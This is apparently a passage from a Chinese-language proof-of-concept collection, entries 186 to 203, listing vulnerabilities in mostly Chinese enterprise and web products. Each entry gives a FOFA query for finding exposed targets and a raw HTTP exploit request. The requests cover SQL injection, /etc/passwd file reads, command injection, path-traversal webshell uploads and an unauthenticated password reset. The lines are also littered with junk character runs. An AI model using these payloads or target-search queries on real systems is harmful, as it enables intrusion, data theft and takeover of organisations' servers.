2 v4 ?' G* n0 ~! s& a Z+ MFOFA:app="REALOR-天翼应用虚拟化系统"2 @+ V+ A" \: `' X+ q
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1+ Q3 e( U+ G, S# \
Host: host5 U" I" w: Z% N( [1 W
2 q- s/ Y" ]5 j( Y% _3 x3 j9 f" W4 E
186. F-logic DataCube3 SQL注入$ e; z7 ~+ t) J; P% g; _. u
CVE-2024-31750
6 g$ p* P, V. b& [, S- `F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
' u/ l L( u0 H5 ^8 T# {FOFA:title=="DataCube3"
, Q9 p( K! F( qPOST /admin/pr_monitor/getting_index_data.php HTTP/1.19 t; v Z* o) h& W# ^$ J
Host: your-ip
6 M- K1 }: t$ R; S0 `$ uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
: O* j" q* j0 wAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
7 W; c6 c! |; c5 ?7 v" {5 U! rAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2+ q0 `; M3 b P) S3 m- |9 J
Accept-Encoding: gzip, deflate1 g* d4 P6 t4 ~5 u N
Connection: close$ q- D& x4 Y8 S
Content-Type: application/x-www-form-urlencoded) w% ?& d( R0 T0 a) x, D' A2 c3 n
% }/ V* Q6 n1 M3 E9 c1 I" x! H8 freq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
! V& V" \' T: s- R1 U2 `) }' `# W; h8 m$ p9 D
. J( W0 j! P# R) r5 K
187. Mura CMS processAsyncObject SQL注入
& Y* ` B5 ~' T5 m& \: B: {CVE-2024-32640
. R+ [4 }/ D2 `( l+ zFOFA:"Mura CMS"4 w7 [# x D% W/ z) C% _( q
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1# k9 ^8 Q& s, W
Host: your-ip" Z q) v6 @. ~4 V$ w% s
Content-Type: application/x-www-form-urlencoded
+ v% F4 l: _9 ^, E% `! z2 K7 y
( g/ V, r+ z# P- Z# T+ ~" x: p1 K2 I; C, M3 r4 ^% \
object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
' P- K. G- m$ ^5 S! @8 z% W/ e0 t$ d, p) p* B
l3 G" b3 e0 f' i3 o- ^
188. 叁体-佳会视频会议 attachment 任意文件读取( i% c+ R# i) b5 F7 `% ^
version <= 3.9.7
. o1 u3 k5 ?) w- F1 F8 VFOFA:body="/system/get_rtc_user_defined_info?site_id"
+ x0 ]) \1 z3 o" fGET /attachment?file=/etc/passwd HTTP/1.1% Z+ e0 S w1 s$ {: w' t* n, o* H+ L
Host: your-ip% _7 O$ `3 w$ b0 k0 T- U. \, y+ C
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
" l* J" r3 V* G/ D& _+ i" oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 n) Z# z& X8 A, F* n! V8 ~Accept-Encoding: gzip, deflate
- o' }. e3 _0 ?& AAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
. j+ L( `: O+ p0 Q, c( @Connection: close; U* v' j5 {5 ?0 T5 l
- p3 @% }4 U8 Y: Z/ c" w! J( l
* l0 Y! F2 d5 R4 k' h* k3 [* E189. 蓝网科技临床浏览系统 deleteStudy SQL注入. n, j/ x# i; D8 D/ ?
FOFA:app="LANWON-临床浏览系统"
3 e9 }. |% r$ l t1 A9 EGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
7 V! F+ U" |! }$ j$ yHost: your-ip) e" v3 V8 A! |7 D5 `
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36/ b9 a& F& v2 @6 v0 L/ i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7* T9 M% T. z9 F( \; a
Accept-Encoding: gzip, deflate" ~ l: c! I& I
Accept-Language: zh-CN,zh;q=0.9# z8 z; {# w) @2 `2 F2 p
Connection: close$ W/ W+ E& z& o+ C0 Q2 F. S
5 N/ q; ^/ N4 Y3 E/ p: G8 D( ^! N- w& L
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
* w* C( |% K; Y1 T+ k* l! V" f% y# xFOFA:title=="短视频矩阵营销系统"
5 ^! g, R' N) x- H( U/ G4 YPOST /index.php/admin/Userinfo/poihuoqu HTTP/2. D. e, Y8 p6 R% h
Host: your-ip0 z. d" N! o" s6 X$ ?. Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36: f& J) A, M3 r8 l7 \8 R+ ]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
; ^2 Q7 |( Y" YContent-Type: application/x-www-form-urlencoded( ~- C& [ u- r
Accept-Encoding: gzip, deflate' p, K6 l9 j e
Accept-Language: zh-CN,zh;q=0.9; Y$ w, u3 R# L* B8 }) u
9 k; } ^6 E1 q4 ~0 Wpoi=file:///etc/passwd( C) A8 \7 }6 p5 m
, I* r1 v! w, [
* \6 [, p- ^3 w q I u7 }; D
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
3 D- [2 a4 C4 k' A6 SFOFA:body="/CDGServer3/index.jsp"+ ^& t# C) |* g' B6 U
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
1 Q% E6 P! [7 }Host: your-ip( Z! x) ]! U2 P! U! b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.367 J) G/ H! w( S( { k* z- u. j
Content-Type: application/x-www-form-urlencoded2 b5 ?3 A+ w2 l0 f' i3 f4 x, f
1 N0 ]5 @/ @6 r- y3 b0 `; wcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=' c2 p" h" Q2 z' u# K4 A' x
! Y5 J: [, Z$ X
2 G1 Y. K) e3 q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
5 b) j- T( m9 t$ Q7 eFOFA:title="用户登录_富通天下外贸ERP"# w' [* ]( c- G. \: P7 ~, z
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1" i# N+ o! v" m0 z* W
Host: your-ip( U9 E$ c" l/ O. ~/ i3 a. j
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36: T' t. Y7 X) | {0 l7 \
Content-Type: application/x-www-form-urlencoded
" X5 a$ Q8 g) G/ K6 q5 J5 }' r: ^( P, F" F
- b9 v7 z: ^/ b! z
<% @ webhandler language="C#" class="AverageHandler" %>
1 a8 x; d0 u# @using System;
' y# n6 p0 Y' r; x% Lusing System.Web;
* H3 Z) I( O5 U- upublic class AverageHandler : IHttpHandler
6 f' T& W& E( C- J' }; D9 W2 ]$ Y{0 N- R3 n4 l8 ]: M' z9 p. }
public bool IsReusable" B+ N. Q1 `/ i* ?/ n0 o5 F- J
{ get { return true; } }) f; R0 m. ]8 V+ E- l6 R: ^3 P
public void ProcessRequest(HttpContext ctx)
2 x! h$ n6 Z: _. \9 j{
# t4 H2 O( h5 A3 \6 Jctx.Response.Write("test");
& ]2 X; }/ F4 p ^}
( Y$ V& _" u" [4 _3 L}' v+ `* ^" y+ t% [
% ]. a' O- B5 G, R. r b A/ C2 Z: j6 _4 p& O' Y2 s
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行* D. ~6 w: ^4 U( R! F3 `6 H K
FOFA:body="山石云鉴主机安全管理系统"
2 F1 u6 \7 U4 I- KGET /master/ajaxActions/getTokenAction.php HTTP/1.1
1 U2 ^' I( n" Q( K' Q8 sHost:* S8 i. Y7 A5 M5 [+ t/ Y4 j
Cookie: PHPSESSID=2333333333333;
% l6 U; z5 {# Z4 J0 T7 qContent-Type: application/x-www-form-urlencoded1 T% L: n; J- L3 Y$ M3 y
User-Agent: Mozilla/5.0$ v% M! @+ B6 n- X4 I9 W- m
2 F* e; v+ U/ t# j: K b
" D0 B2 ~' @- O! k9 ~
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
4 P% u1 ^# a# F/ kHost: O V) A/ U5 J; Y! F% H- h
User-Agent: Mozilla/5.0
$ h& K8 x3 Z# g4 b/ h" TAccept-Encoding: gzip, deflate
" U- L& n. c, j! F3 ?7 xAccept: */*
( x! E+ T# y5 K. T$ vConnection: close
; |' ?7 Z4 D, n: ^Cookie: PHPSESSID=2333333333333;
$ w/ Q2 _: [# w6 B# D: J lContent-Type: application/x-www-form-urlencoded
2 j, B- E# @$ n; n$ k9 z1 pContent-Length: 84
/ d9 c4 p) }0 R, e+ r3 J: G6 H
( Q6 Y! V) B' J( d, qparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
* I( q9 j" A/ {, E+ B
6 J# t7 s$ W, D( ~2 j B: @* U2 ^! y! y! u% f: z7 a H3 M
GET /master/img/config HTTP/1.1
u3 s, G7 c' Z4 d2 N7 cHost:
" X3 h$ J: ?7 t+ d7 @% HUser-Agent: Mozilla/5.0
. x1 {- g+ f2 Y7 X5 r% N5 w3 z u1 ~; u- k' u7 b. L
1 R/ L0 w3 b8 q; ~7 z
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传$ h% Z6 p ^0 `; {; B0 A
FOFA:app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在6 f& p% c% @) y$ `( i+ Q
) U8 s- L9 L( K. C3 f3 v) d! Q, L
POST /servlet/uploadAttachmentServlet HTTP/1.1
3 c0 M& B5 M9 _4 j- JHost: host
. L" {- Q; h* i, N2 b0 c# RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36& U' l, A. B, B: l6 ^9 P1 n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ D5 p. C/ Z( \! i- |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2( P: T9 r, q+ E) y* t/ q
Accept-Encoding: gzip, deflate% Z5 s% j! A n e* }* }
Connection: close" N t6 G- v( F7 Q# f5 Z
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk# k6 O7 d; N) ^9 @4 B3 ^! J4 m
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
1 A4 a6 ]- [* m1 ]6 ?- d2 |0 |% S7 g4 V0 z. r, I% y B
Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
( ]2 Q( [# Z# o: u1 b$ `Content-Type: text/plain; N6 a5 M; ]7 l* l1 Q6 X
<% out.println("hello");%>
/ E( J- i5 ^0 `# L2 q0 I------WebKitFormBoundaryKNt0t4vBe8cX9rZk
; \# w) J# A {0 ~Content-Disposition: form-data; name="json") u5 ?4 u4 s8 U, R; }! {, J
{"iq":{"query":{"UpdateType":"mail"}}}
, U! i! e7 o, g: h+ s------WebKitFormBoundaryKNt0t4vBe8cX9rZk--" A3 T4 G- v+ U7 @+ x
& A3 C" n- {+ m# [, N% ^( E: o W9 ~
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行4 W/ n8 H2 A1 I( k& x$ h9 p
FOFA:title=="飞鱼星企业级智能上网行为管理系统7 b; n6 _, F: |3 r, Y7 w
POST /send_order.cgi?parameter=operation HTTP/1.1
: Y7 f h) E' N5 T# d, C2 h9 EHost: 127.0.0.1
& M7 T0 d; Z. d# o5 m9 e- qPragma: no-cache
! l; I/ J8 C, c) e# FCache-Control: no-cache- A4 M2 i. n3 l3 Y5 z5 \
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36/ B5 D3 F: V5 V ~+ B' I- S
Accept: */*' t( ?' n( k& N) ]: X' B3 z+ p
Accept-Encoding: gzip, deflate& k0 B6 p, ?7 ]& f" A
Accept-Language: zh-CN,zh;q=0.90 `- l. x9 J2 s
Connection: close6 ~4 E2 @ x* G" t2 s0 Q) f
Content-Type: application/x-www-form-urlencoded- d" h3 X9 _( J% l
Content-Length: 686 h: b4 R+ J2 B' K4 |3 Y
2 e8 l2 D" n" k4 Z' r{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}( r0 _! g8 P, l7 r% G4 s+ J6 t
. K0 i* J" Q( w+ W! A
3 N0 K4 \$ z* R R7 Q7 p
196. 河南省风速科技统一认证平台密码重置
- K* O. `. G! s9 c! ?FOFA:body="/cas/themes/zbvc/js/jquery.min.js"6 O; w+ q b$ X/ h# G" F! n8 h
POST /cas/userCtl/resetPasswordBySuper HTTP/1.10 g) B& q7 d, ?& e' _
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
9 @9 t V. C6 T7 T$ ]: MContent-Type: application/json;charset=UTF-8
* \- q% p% D* R' k" t9 VX-Requested-With: XMLHttpRequest9 K8 C& N! L% g# s
Host:! i; Q4 ]7 F0 v7 K' X1 T. i+ P% I
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2! O1 L3 I6 @9 O" \+ m
Content-Length: 45: V, O2 U4 a* t* T0 K$ O. A2 I! d
Connection: close
+ l+ }2 U' b$ l3 |. t) t" |: V' O$ p8 _9 Y
{"xgh":"test","newPass":"test666","email":""}" j& r. T2 b1 w& d
' N5 z% v3 y2 Z* F
$ u( V$ @6 F- j3 F# G8 f' A) l) R; c4 s/ c% F
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入- T1 v, v5 a$ x! J7 S" r! d
FOFA:app="浙大恩特客户资源管理系统"
5 N; @6 v2 }& {/ f/ @$ MGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
" }0 ~( y: g7 f! \ l2 sHost:3 q' X. K6 [& H6 O. I9 t+ i
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36& {( e& h7 q0 r1 o- ?' l
Accept-Encoding: gzip, deflate# _9 p7 S0 f- b: P, x2 k2 W
Connection: close
) W" [$ f# _% g% W8 u) ]
4 ^7 m% Y y* d# f# `& \/ j8 v- R6 S- \+ x: U5 n
5 ?" A/ }. R/ w$ `* C2 U: i- r
198. 阿里云盘 WebDAV 命令注入
0 B6 q. t( T( p% J& i$ L u) yCVE-2024-296405 P' {$ ^( k0 @2 Q9 k/ U( d
GET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
0 x) r* X* P9 A0 X% S i/ JCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
5 w, Y' v) b- `7 h/ {$ nAccept: */*5 R3 A) W& C' D5 ~7 V( C8 F
Accept-Encoding: gzip, deflate1 b7 k1 K# h2 \
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
. y0 `1 A9 h ]0 }2 \Connection: close
& m$ X0 u: f# v3 Q2 `( r6 R2 G+ J, p0 Q- M7 X, \
6 a! M; u1 j' W X: k( S
199. cockpit系统assetsmanager_upload接口 文件上传
* N: ~; k7 @1 z4 @% Y8 p6 f. U x4 P4 x( p/ G/ ?
1.执行poc进行csrf信息获取,并获取cookie,再上传访问得到结果:- P5 o" I( c# [
GET /auth/login?to=/ HTTP/1.16 e5 j- E* |4 w/ i& {: w3 ]
' ^) S4 A4 ^# d4 h% Z响应:200,返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"* b& { n3 B0 a
% ^% ~' J) v' n* `6 s& B
2.使用刚才上一步获取到的jwt获取cookie:5 q' W5 t% u7 Q, F
- r3 j2 s* U/ V1 e9 G. k& D
POST /auth/check HTTP/1.1' @9 @1 m5 c, [# h
Content-Type: application/json
% i x D% Q; v
* {& O B9 @- i{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
) O7 \: T0 T) V
8 g9 I$ A% o5 q/ k1 O! W响应:200,返回值:! d1 q; S& k. i7 X+ a$ z0 Z5 v8 o4 T
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
8 p* M- Q' e/ u/ U' W- {7 o, ]& ]Fofa:title="Authenticate Please!"& K9 R0 o+ O- k; A* p
POST /assetsmanager/upload HTTP/1.16 F2 C+ S ?2 h, U
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb39 |' x$ @3 L1 T$ U; B
Cookie: mysession=95524f01e238bf51bb60d77ede3bea92+ q h$ y$ A6 {3 x+ I/ l
! l. m" y: E: Z& D
-----------------------------36D28FBc36bd6feE7Fb3
1 p( e8 z! y5 B, @) h D* Q# r! ]Content-Disposition: form-data; name="files[]"; filename="tttt.php"& B' b# Y% W+ u! y& y
Content-Type: text/php7 [ n5 P& ] b0 M+ R6 U# M* y5 e+ y
6 D, u9 {& q# @- H! C<?php echo "tttt";unlink(__FILE__);?>$ U! V; e* i& V+ X# d) T" @& D* l
-----------------------------36D28FBc36bd6feE7Fb3; H' e+ S& i* ?* O/ C3 }) P: w, W
Content-Disposition: form-data; name="folder"8 d0 d1 ?6 e5 |& ?7 x: K. X& H
$ }3 n1 s' O: F4 N& d: u) k
-----------------------------36D28FBc36bd6feE7Fb3--2 m9 N, F% U0 _& p" ?
+ A& }1 ^$ W' Q6 o- C# y/ o
3 B9 l+ z$ p$ @# v3 F2 g/storage/uploads/tttt.php
. ]( R7 v3 h0 M+ O8 \
" ?: K0 }9 e4 ]7 c: h, q- u200. SeaCMS海洋影视管理系统dmku SQL注入
, O4 a6 ?5 n n$ pFOFA:app="海洋CMS"
) Y2 u9 u5 [& p1 H0 }& ^& e9 kGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
8 k: @, k& D% B5 kCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s2 p x# l" O. X" x/ @. J. s- u: L
Upgrade-Insecure-Requests: 1% w n* p( V! O
Cache-Control: max-age=0
* F! o" z0 X$ AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
3 M) L: u3 U2 g) Y+ p1 ?Accept-Encoding: gzip, deflate
0 m/ m# J* m. Y) sAccept-Language: zh-CN,zh;q=0.9; ]$ ]* c# K3 w- D# _; I8 `7 P
0 |9 |+ Q! }- Q# j2 i% g ]
2 q; Y/ ?3 Z' b1 F8 K# s0 k201. 方正全媒体新闻采编系统 binary SQL注入
0 T; a1 E+ @3 U* Z5 z9 R! E5 U) B- ]FOFA:body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"/ H9 @8 V" }8 T: ?2 E3 u; g. i
POST /newsedit/newsplan/task/binary.do HTTP/1.1! H; a( S4 c5 d$ j# ^
Content-Type: application/x-www-form-urlencoded I$ o* |, j) V9 _7 F7 Q
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ w( D/ F; o( c* y3 QAccept-Encoding: gzip, deflate2 K9 N$ m5 i2 ]
Accept-Language: zh-CN,zh;q=0.9$ ~7 @1 G$ t6 M, V
Connection: close9 R$ W: F) x5 N
c5 l5 G- F( H1 p" y8 cTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=10 x0 R. L, B {9 b- {& l! I
0 D0 Z1 D9 ^0 ]! H
1 j- I' U& ^% A" B6 k" k4 ^202. 微擎系统 AccountEdit任意文件上传
" U J# j* t2 o; ]$ V' _FOFA:body="/Widgets/WidgetCollection/"
1 e! }' Z1 n/ {6 {获取__VIEWSTATE和__EVENTVALIDATION值
& j! o( \' l9 a2 VGET /User/AccountEdit.aspx HTTP/1.1
0 Z5 Q6 `* H: j; zHost: 滑板人之家
) v* s6 r. k. @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
& k% ~: i( G+ b; b* q v6 XContent-Length: 0! O1 H$ x" b* h+ P$ L& ?3 G; v
% ~4 m( B' y6 f5 Y* Q3 r- p' R: w9 f
替换__VIEWSTATE和__EVENTVALIDATION值
! b8 {( N: m i6 M" BPOST /User/AccountEdit.aspx HTTP/1.1
9 q, z5 R/ f @: JAccept-Encoding: gzip, deflate, br! H: d2 g! s' l! T4 \
Content-Type: multipart/form-data;boundary=---------------------------786435874t385875938657365873465673587356870 J& V+ |( w+ Y6 v
. E6 l# v& D f" J
-----------------------------786435874t38587593865736587346567358735687! T- |6 E0 U' L- k, O) T
Content-Disposition: form-data; name="__VIEWSTATE"9 }9 o( c& A- H& [
; ?- b# ~+ Y% a; ~; @% C' G__VIEWSTATE. w# }( l& z5 |
-----------------------------786435874t38587593865736587346567358735687
% q V D _, |: O: F8 Z" @Content-Disposition: form-data; name="__EVENTVALIDATION"6 W3 }5 `/ G* G( I0 q
5 B C" K2 v5 v__EVENTVALIDATION. L6 c2 b6 d6 C9 D: u# A% R1 D
-----------------------------786435874t38587593865736587346567358735687
/ N, h2 ?1 R- H+ f/ LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"" j7 T" Q! o8 k. q
Content-Type: text/plain# S7 |" I8 F% ]5 d
! e3 \' \% f# W) Q' c8 tHello World!# {$ ~4 a! {% P" ~; L4 G* P9 _
-----------------------------786435874t38587593865736587346567358735687
: Z+ @6 L5 |* O$ [Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload": W0 D/ I3 E! g3 c' L
, e$ \ f7 w# O) y上传图片
# }0 e1 ?: O6 Y2 o6 x$ h# r! L6 ?7 b-----------------------------786435874t38587593865736587346567358735687
' K8 l. b* r4 [/ r/ vContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"
4 Z. s: T) w* t# d2 o4 C. V. ~/ R7 n B
+ N1 G2 ]1 x M! n2 g-----------------------------786435874t38587593865736587346567358735687( i: ]: k4 W# n6 u# s* m' h6 v
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
( U4 R! m# Q1 w9 B* D l4 s4 \' `+ z# N( C4 l4 Q) F8 g
, z% T$ f0 R7 U3 o-----------------------------786435874t38587593865736587346567358735687--9 f& M* c4 ~1 K$ h5 O
/ }! z6 ~$ J) I/ c7 H4 K) s7 @, Q& v) I! J: u
/_data/Uploads/1123.txt
" [5 B, t; S5 b9 c8 r7 M- ?5 c
% L( D0 X" q/ k, G1 _- P" f203. 红海云EHR PtFjk 文件上传
: p; |) B" A4 a* D- dFOFA:body="RedseaPlatform"
% s- U4 g6 ?. D. S0 sPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
/ i2 e* U3 `. e0 EHost: x.x.x.x3 E8 x* C/ W" ^9 C& B# O, j, R
Accept-Encoding: gzip" |6 b, T- Q! z( Z. p
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# ?9 e, j1 C* y1 E! M( h, PContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4 N! H5 e% G0 ?( `4 S
Content-Length: 210; @ |0 Q4 k: a
2 i$ _3 R W6 S' [
------WebKitFormBoundaryt7WbDl1tXogoZys4* J: v" P9 j8 W) V1 i) G* N0 }! {
Content-Disposition: form-data; name="fj_file"; filename="11.jsp" p0 p; r) s8 k9 c
Content-Type:image/jpeg j) O7 a8 a5 k+ G" Z/ p* Z. [
+ w4 W9 M. P: E) Q2 ~8 M$ ]5 Q<% out.print("hello,eHR");%>
7 o+ Z3 @1 M* [ o, C, {3 t------WebKitFormBoundaryt7WbDl1tXogoZys4--
+ k! T5 l" {1 n) ~+ _3 j$ i" Q3 Z& ?7 q
$ i8 |; a. o9 c* }
! U5 \7 _, f7 s, `4 Y. \! o: T' A+ y/ P. Z
" p/ S( ?1 u% g" X1 L7 B- q
0 [2 G: V( w) X2 {$ O5 l
|